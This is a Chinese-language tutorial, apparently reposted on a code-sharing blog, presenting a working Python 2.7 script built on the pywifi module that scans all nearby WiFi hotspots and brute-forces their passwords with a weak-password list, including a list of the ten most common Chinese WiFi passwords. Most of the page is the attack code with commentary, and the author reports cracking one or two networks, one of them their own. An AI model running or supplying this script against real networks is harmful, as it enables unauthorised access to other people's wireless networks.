一個非常簡單易懂的WIFI密碼爆破python腳本


環境准備

  • python2.7
  • 湊合的linux
  • 差不多的無線網卡
  • pywifi模塊
  • 弱口令字典
  • 清除系統中的任何wifi連接記錄(非常重要!!!)

首先,這個模塊在win下有點雞肋,作者在調用WLANAPI時沒有做好WLAN_SECURITY_ATTRIBUTES的封裝,所以推薦在linux下跑,我測試所使用的是Kali 2.0 自帶python 2.7.6 ,可直接通過 pip install pywifi 安裝。

導入模塊

這里用的模塊就這三個 pywifi的_wifiutil_linux.py腳本的 _send_cmd_to_wpas方法中的if reply != b’OK\n’:判斷需要修改,不然會有很多的提示信息。

from pywifi import *
import time
import sys

字典准備

效率很重要,畢竟這東西跑起來可真慢,下面是天朝用的比較多的wifi弱口令TOP10

  1. 12345678
  2. 123456789
  3. 88888888
  4. 1234567890
  5. 00000000
  6. 87654321
  7. 66668888
  8. 11223344
  9. 147258369
  10. 11111111

配置掃描器

推薦掃描時常可以設置在15-20秒之間 測試時常則可以自定義,考慮到認證速度於距離的關系,我一般設置在15左右,再久的也沒意義 到時候就算破解成功的熱點,信號也好不到哪里

def main():
    #掃描時常
    scantimes = 3
    #單個密碼測試延遲
    testtimes = 15
    output = sys.stdout
    #結果文件保存路徑
    files = "TestRes.txt"
    #字典列表
    keys = open(sys.argv[1],"r").readlines()
    print "|KEYS %s"%(len(keys))
    #實例化一個pywifi對象
    wifi = PyWiFi()
    #選擇定一個網卡並賦值於iface
    iface = wifi.interfaces()[0]
    #通過iface進行一個時常為scantimes的掃描並獲取附近的熱點基礎配置
    scanres = scans(iface,scantimes)
    #統計附近被發現的熱點數量
    nums = len(scanres)
    print "|SCAN GET %s"%(nums)
    print "%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70)
    #將每一個熱點信息逐一進行測試
    for i,x in enumerate(scanres):
        #測試完畢后,成功的結果講存儲到files中
        res = test(nums-i,iface,x,keys,output,testtimes)
        if res:
            open(files,"a").write(res)

掃描周圍熱點

def scans(face,timeout):
    #開始掃描
    face.scan()
    time.sleep(timeout)
    #在若干秒后獲取掃描結果
    return face.scan_results()

熱點測試

這里后續推薦將掃描過程數據入庫,防止重復掃描,且更加直觀。

def test(i,face,x,key,stu,ts):
    #顯示對應網絡名稱,考慮到部分中文名嘖顯示bssid
    showID = x.bssid if len(x.ssid)>len(x.bssid) else x.ssid
    #迭代字典並進行爆破
    for n,k in enumerate(key):
        x.key = k.strip()
        #移除所有熱點配置
        face.remove_all_network_profiles()
        #講封裝好的目標嘗試連接
        face.connect(face.add_network_profile(x))
        #初始化狀態碼,考慮到用0會發生些邏輯錯誤
        code = 10
        t1 = time.time()
        #循環刷新狀態,如果置為0則密碼錯誤,如超時則進行下一個
        while code!=0 :
            time.sleep(0.1)
            code = face.status()
            now = time.time()-t1
            if now>ts:
                break
            stu.write("\r%-*s| %-*s| %s |%*.2fs| %-*s |  %-*s %*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("\n","")))
            stu.flush()
            if code == 4:
                face.disconnect()
                return "%-*s| %s | %*s |%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k)
    return False

案例

這里顯示本次測試使用了11個弱口令,並掃描到了20個熱點,然后開始坑爹的跑起來了

  • *WIFIID* 熱點的id號 每跑一個會減1
  • *SSID OR BSSID* 熱點的ssid名或mac地址
  • *N* 對熱點的連接狀態,這個在
  • time 當前所花去的時間
  • signal 熱點的信號強度,若小越好
  • KEYNUM 測試密碼的id 每跑一個會減1
  • KEY 當前測試的密碼

img

結果還不錯,各位的安全意識不像以前那么蛋疼了,掃出一兩個,其中一個還是自家的 – –


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM